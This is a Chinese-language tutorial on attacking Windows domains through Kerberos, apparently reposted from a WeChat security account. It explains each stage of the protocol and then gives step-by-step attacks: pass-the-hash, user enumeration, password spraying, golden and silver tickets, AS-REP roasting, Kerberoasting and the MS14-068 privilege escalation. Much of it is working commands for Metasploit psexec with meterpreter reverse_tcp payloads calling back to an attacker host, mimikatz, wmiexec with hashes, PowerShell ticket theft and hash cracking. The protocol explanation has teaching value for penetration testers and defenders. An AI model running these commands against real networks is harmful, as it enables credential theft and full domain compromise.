域渗透 | kerberos认证及过程中产生的攻击
文章首发于公众号《Z2O安全攻防》
这里直接复制过来的,排版可能有点乱, 可以去公众号看。
https://mp.weixin.qq.com/s/WMGkQoMnQdyG8UmSyrAGIg
前言
Windows认证一般包括本地认证(NTLM HASH)和域认证(kerberos)。
认证的原理网上有很多文章。如果喜欢听视频课程的话,这里推荐倾旋师傅的分享课
https://www.bilibili.com/video/BV1S4411e7hr?spm_id_from=333.788.b_636f6d6d656e74.8
本篇文章主要内容是Kerberos认证过程中产生的攻击。
kerberos认证
概述
Kerberos是由麻省理工学院提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。Kerberos协议有两个基础认证模块: AS_REQ &AS_REP和 TGS_REQ & TGS_REP,以及微软扩展的两个认证模块S4U和PAC。
kerberos是一种基于票据的认证方式。客户端如果要访问某个服务首先要获得相应的票据——Service Ticket(ST服务票据)。但是想要获取到服务票据ST,需要先获得一张认购权证——Ticket Granting Tikect(TGT) 。TGT和ST均有KDC(Key Distribute Center)密钥分发中心发售。从物理层面看,KDC由域控控制器担任,其中包括AS(Authentication Service)认证服务和TGS(Ticket Granting Service)票据授予服务。可以参考下图:
简单来说,kerberos认证可以分为三大步:
第一步:Client与AS(Authentication Service认证服务)通信,获取TGT(Ticket Granting Ticket)认证权证
① AS-REQ
② AS-REP
第二步:Client拿着TGT,与TGS(Ticket Granting Service票据授予服务)通信,获取ST(Service Ticket服务票据)
③ TGS-REQ
④ TGS-REP
第三步:Client拿着ST,与Server通信,访问服务。
⑤ AP-REQ
⑥ AP-REP
当然有些情况下,中间还会经过一步PAC认证(Privilege Attribute Certificate特权属性证书)。
流程
下面对认证流程进行详细分析:
krbtgt用户是在创建域时系统自动创建的一个账号,其作用是密钥发行中心KDC的服务账号,其密码是系统随机生成的,无法正常登陆主机。
第一步:Client与AS(Authentication Service认证服务)通信,获取TGT(Ticket Granting Ticket)认证权证
① AS-REQ
当某个域内用户试图访问域中的某个服务,于是输入用户名和密码,本机的Kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含:请求的客户端信息(用户名、主机名等)和预认证数据(用户NTLM Hash加密的时间戳)以及一些其他信息。如下图,(Client Hash就是用户的NTML Hash)
② AS-REP
当KDC接收到请求之后,通过AD活动目录查询得到该用户的密码Hash,用该密码Hash对请求包的预认证数据进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要验证时间戳等,如果通过则预认证成功。
AS(Authentication Service)成功认证对方的身份之后,发送响应包给客户端。响应包中主要包括: 用户NTLM Hash加密的原始Login Session key(下图中①部分,原始Login Session key是随机生成的)和krbtgt用户的NTLM Hash加密后的TGT认购权证(下图中②部分)以及一些其他信息。该Login Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。而TGT主要包含原始的Login Session Key、时间戳和PAC(下图没有画出来)。PAC中包含用户的SID,用户所在的组等一些信息。
第二步:Client拿着TGT,与TGS(Ticket Granting Service票据授予服务)通信,获取ST(Service Ticket服务票据)
经过上面的步骤,客户端获得了TGT认购权证和Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到原始的Logon Session Key。然后它会在本地缓存此TGT认购权证和原始的Login Session Key。现在客户端拿着获取到的TGT认购权证向 TGS (Ticket Granting Service)去请求ST服务票据(ServiceTicket)
在这个阶段,微软引入了两个扩展协议S4u2self 和S4u2Proxy(当委派的时候使用)
③ TGS-REQ
客户端向KDC请求指定服务的ST服务票据,该请求主要包含如下的内容:客户端信息、Authenticator(原始的Login Session Key加密的时间戳)、TGT认购权证和访问的服务信息以及一些其他信息。
④ TGS-REP
TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过krbtgt用户的NTLM Hash解密TGT并得到原始的Login Session Key,然后通过原始的Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳等一些信息。
如果验证通过,则TGS完成了对客户端的认证,会生成一个用原始的Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Server Session Key会话秘钥(上图④)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容(如下图):客户端用户信息和原始Server Session Key。整个ST服务票据用该服务的NTLM Hash进行加密。最终Server Session Key和ST服务票据发送给客户端。
这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是
kerberoasting
能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据
第三步:Client拿着ST,与Server通信,访问服务。
客户端接收到TGS回复后,通过缓存的原始Logon Session Key解密得到原始Server Session Key,同时它也拿到了ST(Service Ticket)服务票据。该Server Session Key 和ST服务票据会被客户端缓存。
⑤ AP-REQ
客户端访问指定服务时,将 ST服务票据和Authenticator(Server Session Key加密的时间戳)发送给服务端。
⑥ AP-REP
服务端收到客户端发来的ST服务票据后,先通过该服务的NTLM Hash哈希解密ST服务票据,并从中提取Server Session Key。然后通过提取出来的Server Session Key解密Authenticator,进而验证了客户端的真实身份。验证了客户端的身份后,服务端拿着PAC去询问KDC该用户是否有访问权限。域控拿到PAC后解密,然后KDC通过SID判断用户的用户组信息,用户权限等,然后将结果返回给服务端,服务端再将此信息与用户请求的服务资源的ACL进行对比,最后决定是否给用户提供相关服务。
有些服务并没有验证PAC这一步,这也是白银票据能成功的前提。因为如果验证了PAC的话,就算攻击者拥有用户hash,可以制作ST票据,也不能制作PAC,所以也没有访问服务的权限
kerberos认证各阶段的攻击手法
概述
AS-REQ:
在AS-REQ阶段,存在用户NTLM Hash加密的时间戳,所以也就造成了哈希传递攻击。
而当用户不存在时,返回包会有所不同,我们可以基于此进行用户名枚举,所以也就造成了域内用户枚举攻击(当我们不在域内,可以使用这个方法枚举域内用户)。
密码喷洒(Password Spraying)攻击,它属于自动化密码猜测的一种,是用固定的密码去跑用户名。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。
AS-REP:
在AS-REP阶段,由于返回的TGT认购权证是由krbtgt用户的密码Hash加密的,因此如果我们拥有krbtgt的 hash 就可以自己制作一个TGT认购权证,这就造成了黄金票据攻击
在AS-REP阶段,Login Session key(最外层的enc-part)是用用户密码 Hash 加密的。对于域用户,如果设置了选项” Do not require Kerberos preauthentication”,此时向域控制器的 88 端口发送 AS_REQ 请求,对收到的AS_REP内容(数据包enc-part底下的cipher,因为这部分是使用用户 hash 加密的 Login Session Key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令,这就造成了 AS-REP Roasting攻击。
TSG-REP:
在TGS-REP阶段,由于内层enc-part是用服务账号的NTLM Hash加密的,所以当我们得到了ST服务票据,可以通过爆破获得该计算机服务账号的密码hash,这就是Kerberoast攻击。
这个问题存在的另外一个因素是因为用户向KDC发起TGS_REQ请求,不管用户对服务有没有访问权限,只要TGT正确,那么肯定会返回TGS。
在TGS-REP阶段,TGS_REP里面的ticket的enc-part(内层enc-part)是使用服务账号的ntlm hash进行加密的,如果我们拥有服务账号的ntlm hash,就可以给我们自己签发该服务的ST票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是ST票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用。
说白了,kerberoast攻击就是 :有ST服务票据,去爆破服务账号的NTLM Hash ;而白银票据,就是有服务账号的NTLM Hash,去签发该服务的ST服务票据。
AS-REQ
哈希传递攻击(Pass The Hash)
详细文章可以看《哈希传递攻击(Pass-the-Hash)》
0x00 PTH简介
哈希传递(pth)攻击是指攻击者可以通过捕获密码的hash值(对应着密码的值),然后简单地将其传递来进行身份验证,以此来横向访问其他网络系统。攻击者无须通过解密hash值来获取明文密码。攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
0x01 PTH适用范围
在工作组环境中:
-
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
-
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
-
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
0x02 PTH常用攻击手法
(1)msf:
有些时候,当我们获取到了某用户的密码哈希值(条件满足0x01 PTH适用范围) ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec
模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test #test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit
(2) mimikatz
在域环境中,当我们获得了 域管理员组内用户 的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。前提是我们必须拥有域内任意一台主机的本地管理员权限和域管理员的密码NTLM哈希值。
PS:工作组环境下,也需要本地管理员权限,命令中将域名改为目标机器IP
privilege::debug #先提权
#使用域管理员yokan的NTLM哈希值对域控进行哈希传递攻击,域用户yokan在域管理员组中
sekurlsa::pth /user:yokan /domain:yokan.com /ntlm:xxxxxxxxxxxxxxxx
(3) wmiexec:
获取的是对方hash的权限
//python3 wmiexec.py -hashes LM Hash:NTLM Hash 域名/用户名@目标IP #哈希传递获得shell
python3 wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.111.13
(4) KB2871997补丁
微软在2014年5月发布了KB2871997。该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员对远程计算机使用PsExec, WMI, smbexec, schtasks,也无法访问远程主机的文件共享等。
即使目标主机更新了KB2871997的补丁,仍然可以使用SID=500的用户进行哈希传递攻击,而 SID=500 的用户默认为 aministrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击。
域用户名枚举
0x01 原理分析
当我们不在域内时,可以进行枚举域内账号。
在域外也能和域进行交互的原因,是利用了kerberos协议认证中的AS-REQ阶段。只要我们能够访问域控88(kerberos服务)端口,就可以通过这种方式去枚举用户名并且进行kerberos协议的暴力破解了!
0x02 攻击优势
相比于LDAP的暴力破解,这里Kerbrute使用的是kerberos pre-auth协议,不会产生大量的日志
0x03 攻击方法
kerbrute_windows_amd64.exe
下载地址:
在这里我们需要获取dc的ip,域名。将想要爆破的用户放入user.txt表中,这样就可以获取到了!
在我们获取到用户名后,可以将它用来爆破(密码喷洒)!
密码喷洒攻击(Password Spraying)
0x01 前言
在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 密码喷洒(Password Spraying)的攻击手段来进行攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。
0x02 攻击方式
一般使用DomainPasswordSpray工具
工具介绍:
DomainPasswordSpray.ps1是用PowerShell编写的工具,用于对域用户执行密码喷洒攻击。默认情况下它将利用LDAP从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒。
需要使用域权限账户
下载链接:
在这里作者进行了脚本修改(下载保存为DomainPasswordSpray.ps1)
使用说明:
从域中收集用户列表
从域中收集用户列表,包括任何未禁用且未接近锁定状态的账户。它会将结果写入"userlist.txt"文件中:
从域环境中获取用户名,然后使用密码进行认证枚举:
从user.txt中提取用户名,与passlist.txt中的密码对照成一对口令,进行域认证枚举,登录成功后会输出到sprayed-creds.txt
AS-REP
黄金票据
0x00 漏洞成因
当我们有了krbtgt hash之后,我们可以解密TGT,也可以加密TGT。
TGS获取的Login Session key是通过解开TGT获取的,因此当我们得到krbtgt hash之后,我们就可以伪造任一用户了,这就造成了黄金票据攻击
0x01 利用场景
1.拿到域内所有账户Hash,包括krbtgt账户,某些原因导致域控权限掉了,域管改密码了等
2.手上还有一台机器,无所谓是否在域中
3.域管理员没有更改域控krbtgt账户的密码
4.通常当作后门使用
0x02 利用条件
需要获取到以下信息:
1、域名
2、域的SID
3、krbtgt 账号的hash
4、伪造的用户名
0x03 利用方式
ipconfig /all拿到域名
whoami/all
或者
wmic useraccountget name,sid
拿到SID
使用mimikatz软件拿到krbtgt用户的NTLM密码哈希
查看域管理员账号
删除票证
将搜集到的信息替换到执行语句中使用mimikatz软件伪造administrator用户的票证然后退出
成功拿到域控
在成功之后就相当于IPC连接成功之后的攻击方法了!
AS-REP Roasting攻击
0x00 漏洞成因
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是默认开启的,KDC会记录密码错误次数,防止在线爆破。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
首先获取"不要求Kerberos域身份认证"的用户及其加密hash
普通域用户下:
方法一:工具Rubeus
使用命令直接获取域内所有开启"不要求Kerberos域身份认证"的用户,并且返回了他们的加密hash
方法二:Empire 中的Powerview.ps1
首先执行以下语句,得到"不要求Kerberos域身份认证"的用户,输出到txt中
获取用户名后,需要获取他们的加密hash。
在这里需要使用另外一个模块:ASREPRoast.ps1
https://github.com/gold1029/ASREPRoast
然后,在获取到加密hash之后,使用hashcat进行密码破解
将txt里面的除Hash字段其他的都删除,复制到hashcat目录下,并且修改为hashcat能识别的格式,即在$krb5asrep
后面添加$23
拼接。
然后使用以下命令爆破
TGS-REP
SPN 扫描
kerberoast攻击的前置知识
0x00 SPN简介
SPN全称 Service Principal Names服务主体名称,是服务器上所运行服务的唯一标识,每个使用kerberos认证的服务都需要一个SPN。
Kerberos身份验证用 SPN将服务实例与服务登录账号关联起来
SPN分为两种,一种注册在AD的机器账户(Computers)下,另一种注册在域用户账户(Users)下:当一个服务的权限为Local System或Network Service,则SPN注册在机器账户(Computers)下当一个服务的权限为一个域用户,则SPN注册在域用户账户(Users)下。
0x01 SPN扫描作用
SPN扫描能让我们更快的发现在域内运行的服务,并且很难被发现。
在活动目录中发现服务的最佳方法就是SPN扫描
0x02 SPN格式
serviceclass/host:port/servicename
#serviceclass和hostname是必选参数,port和servicename是可选参数
#例如:
exchangeMDB/EXCAS01.pentest.com //exchange服务
TERMSERV/EXCAS01.pentest.com //RDP服务
说明:
-
serviceclass可以理解为服务的名称,常见的有www,ldap,SMTP,DNS,HOST等
-
host有两种形式,FQDN(全限定域名,同时带有计算机名和域名)和NetBIOS名,例如server01.test.com和server01
-
如果服务运行在默认端口上,则端口号(port)可以省略
-
servicename:一个字符串,可以是服务的专有名称(DN),objeectGuid,Internet主机名或全限定域名
0x03 查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1)使用SetSPN
win7和windows server2008 2012自带的功能
查看当前域内的所有SPN:
查看具体域内的所有SPN:
(2) 使用Powershell-AD-Rccon
Powershell-AD-Rccon工具包提供了一系列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括但不限于MSSQL、 Exchange、RDP、WinRM。
-
利用SPN发现域中所有的MSSQL服务
因为SPN是通过LDAP协议向域控制器进行查询的,所以,攻击者只要获得一个普通的域用户权限,就可以进行SPN扫描。
在域中的任意一台机器上,以域用户身份运行一个power shell进程,将脚本导入并执行,命令如下
Import-Module .\Discover-PSMsSQLServers.ps1
Discover-PSMSSQLServers
-
扫描域中所有的SPN信息
在域中的任意一台机器上,以域用户的身份运行一个PowerShell进程,将脚本导入并执行,命令如下
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
可以看到,域中有LDAP、exchange、RDP等多个SPN。因为每个重要的服务在域中都有对应的SPN,所以攻击者不必使用复杂的端口扫描技术,只要利用SPN扫描技术就能找到大部分的应用服务器。
Kerberoast攻击
0x01 攻击原理
1.kerberos认证过程
这种攻击方法主要利用了TGS_REP阶段使用服务账号NTLM Hash加密的返回数据,通过碰撞加密数据破解用户密码。
2.Windows系统通过SPN查询获得服务和服务实例帐户的对应关系
但是TGT阶段一开始需要对方是否是否有这个服务,那这个服务怎么发现呢?这时候可以使用SPN扫描,因为在域中如果服务使用的是kerberos认证。那么就需要在对应域用户下面注册SPN,因此通过SPN扫描可以发现用户对应的服务
3.域内的任何用户都可以向域内的任何服务请求TGS
4.需要域用户登录才能查询,因为SPN查询部分使用了LDAP协议
0x02 攻击步骤
-
查询SPN,找到有价值的SPN,需要满足以下条件:
该SPN注册在域用户帐户(Users)下;
域用户账户的权限很高;
-
请求TGS
-
导出TGS
-
暴力破解
0x03 攻击实现
1.检测高权限账户
工具只能检测出SPN服务注册时用户的高低权限,若后来权限提高或者降低皆无法检测到。
(1)使用powershell模块Active Direvtory
当服务器上存在此模块时(域控一般安装)
当服务器上没有AD模块时,加载dll文件来执行。win8无法执行
DLL下载链接:
https://codeload.github.com/3gstudent/test/zip/master
https://github.com/samratashok/ADModule
(2)使用PowerView
下载链接
(3)使用kerberoast工具
powershell
下载链接:
2.请求高权限账户的票据
方式有rubeus、powershell命令、mimikatz、GetUserSPNS.py等
(1)请求指定TGS在powershell中使用如下命令获取票据
powershell.exe -exec bypass -Command "& {$SPNName = ''cifs/WIN7.yokan.com'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
$SPNName = 'cifs/WIN7.yokan.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
(2)请求所有TGS
执行完(1)第一个后第二个才能执行需要powershell下执行
powershell.exe -exec bypass -Command "& {Add-Type -AssemblyName System.IdentityModel }"
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
查看票据的命令:
klist
或
mimikatz.exe "kerberos::list"
3.导出票据
(1)使用mimikatz.exe
kerberos::list /export
mimikatz.exe "kerberos::list /export" "exit"
(2)Empire下的Invoke-Kerberoast.ps1
导出Hashcat格式的票据。且它会自动选择所有的user Hash
powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-kerberoast -outputformat hashcat |fl > hash.txt}"
或者
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashca
4.离线破解服务票据
(1) kerberoast中的tgsrepcrack.py
(2) tgscrack
python2 extractServiceTicketParts.py xxx.kirbi > hash.txt
go run tgscrack.go -hashfile hash.txt -wordlist password.txt
(3) hashcat
将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下
白银票据
0x01 利用条件
需要获取到以下信息:
1、域名
2、域的SID
3、目标服务器FQDN
4、可利用的服务(这里使用cifs)
5、服务账号的NTLM Hash
6、需要伪造的用户名
0x02 利用方法
ipconfig /all拿到域控ip
输入ping -a 10.1.1.1获取域限定全名dc.kacker.com
whoami /all拿到SID
导出域控机的hash
将搜集到的信息替换到执行语句中使用mimikatz软件伪造票证,访问即可
S4U
委派攻击
包括非约束性委派攻击、约束委派攻击、基于资源的约束委派攻击,设计的内容比较多,后面将单独用一篇文章介绍。
PAC
详细看 https://www.anquanke.com/post/id/192810 (以下称之为"引文")
上面讲的kerberos流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。
为了解决上面的这个问题,微软引进了PAC,引进PAC之后的kerberos流程变成
-
用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含用户的sid,用户所在的组。
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边询问用户有没有访问权限,域控解密PAC。获取用户的sid,以及所在的组,再判断用户是否有访问服务的权限,有访问权限(有些服务并没有验证PAC这一步,这也是白银票据能成功的前提,因为就算拥有用户hash,可以制作TGS,也不能制作PAC,PAC当然也验证不成功,但是有些服务不去验证PAC,这是白银票据成功的前提)就允许用户访问。
特别说明的是,PAC对于用户和服务全程都是不可见的。只有KDC能制作和查看PAC。
PAC具体的结构信息可以看“引文”,这里说一下其中两部分:
0x00000001 登录信息,是整个PAC最重要的部分,整个PAC就靠它来验证用户身份了 (可以联想到,后面的漏洞就是伪造这一部分)
0x00000006 对应的是服务检验和,0x00000007 对应的是KDC校验和。分别由server密码和KDC密码加密,是为了防止PAC内容被篡改。
存在签名的原因有两个。首先,存在带有服务器密钥的签名,以防止客户端生成自己的PAC并将其作为加密授权数据发送到KDC,以包含在票证中。其次,提供具有KDC密钥的签名,以防止不受信任的服务伪造带有无效PAC的票证。
MS14-068
0x00 漏洞效果
补丁编号是KB3011780,域里面最严重的漏洞之一
它能够将任意用户提升到域管权限
0x01 漏洞成因
①:
该漏洞最本质的地方在于Microsoft Windows Kerberos KDC无法正确检查Kerberos票证请求随附的特权属性证书(PAC)中的有效签名,这里面的签名就是上面提到的服务检验和以及KDC校验和。导致用户可以自己构造一张PAC。签名原本的设计是要用到HMAC系列的checksum算法,也就是必须要有key的参与,我们没有krbtgt的hash以及服务的hash,就没有办法生成有效的签名,但是问题就出在,实现的时候允许所有的checksum算法都可以,包括MD5。只要客户端指定任意签名算法,KDC就会使用指定的算法进行签名验证。那我们只需要把PAC 进行md5,就生成新的校验和。这也就意味着我们可以随意更改PAC的内容,完了之后再用md5 给他生成一个服务检验和以及KDC校验和。
②:
该漏洞的利用依旧还有一个棘手的问题。前面我们说过。PAC是包含在TGT里面的,而TGT是krbtgt的用户hash加密的,也就意味着即使我们可以伪造PAC,那我们有什么办法讲PAC放在票据里面传输给KDC呢?
答案是PAC没有放在TGT中也可以被解析:PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其他地方。但是KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出放在其他地方的PAC信息!
0x02 漏洞利用条件
-
小于2012R2的域控 没有打KB3011780,高版本默认集成
-
无论工作组、域,高低权限都可以使用生成的票据进行攻击
-
域账户使用时需要klist purge清除票据
0x03 漏洞利用过程
pykek
全称是Python Kerberos Exploitation Kit
应该是ms14068漏洞利用,使用的最广泛的一个,一般常用的ms14068.exe,就是由他打包而成的
ms14-068.py是PyKEK工具包中的MS14-068漏洞利用脚本
-u <userName>@<domainName>:用户名@域名。
-s <userSid>: 用户SID。
-d <domainControlerAddr>:域控制器地址。
-p <clearPassword>: 明文密码。
--rc4 <ntlmHash>:在没有明文密码的情况下,通过NTLM Hash登录
利用:
1、查看域控制器的补丁安装情况:
微软针对MS14-068(CVE-2014-6324)漏洞提供的补丁为KB3011780。输入命令wmic qfe get hotfixid
,未发现该补丁
2、查看用户的SID:
以用户98612的身份登录,输入命令“whoami /user",可以看到该用户的SID
还有一个获取用户SID的方法。输入命令"wmic useraccount get name,sid",获取域内所有用户的SID
3、生成高权限票据
使用pykek生成高权限票据的命令,格式如下
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
python ms14-068.py -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
在pykek目录中 输入如下命令,在当前目录下生成了一个名为TGT_98612@yokan.com.ccache
的票据文件
4、清楚内存中的所有票据
5、将高权限票据注入内存
将生成的票据文件TGT_98612@yokan.com.ccache
放到域机器的mimikatz目录下,使用mimikatz将票据注入内存
6、验证权限
使用dir命令,列出域控制器C盘的内容
在成功之后就相当于IPC连接成功之后的攻击方法了,例如可以使用psexec 获取一个shell,执行任意命令等等。
impacket工具包的goldenPac.py
这个工具是结合ms14-068加psexec
python goldenPac.py -dc-ip 192.168.107.146 -target-ip 192.168.107.146 test.com/user:password@dc.test.com
-dc-ip 是主域控的ip地址
-target-ip 也是主域控的ip地址
test.net 是域名
user是当前域用户user
:冒号后面是当前域用户的密码
@ 后输入主域计算机名 比如:dc.test.com
kekeo:
msf
ms14068kerberos_checksum模块
填写以上信息后,输入exploit命令,会在/root/.msf4/loot目录下生成文件
接下来进行格式转换。因为Metasploit不支持bin文件的导入,所以要先使用mimikatz对文件进行格式转换。在mimikatz中输入如下命令,导出kirbi格式的文件
将导出kirbi格式的文件上传到kali中
使域机器在msf上线:
输入load kiwi命令 (kiwi模块是在mimikatz功能基础上的扩展)然后输入如下命令将票据导入
接着输入background命令,切换到meterpreter后台,使用高权限票据进行测试
background
use exploit/windows/local/current_user_psexec
set payload windows/x64/meterpreter/reverse_tcp
set TECHNIQUE PSH
set RHOSTS WIN-1D09BAA27UF.yokan.com
set lhost 192.168.111.238
set session 1
exploit
----------------------------------------END-----------------------------------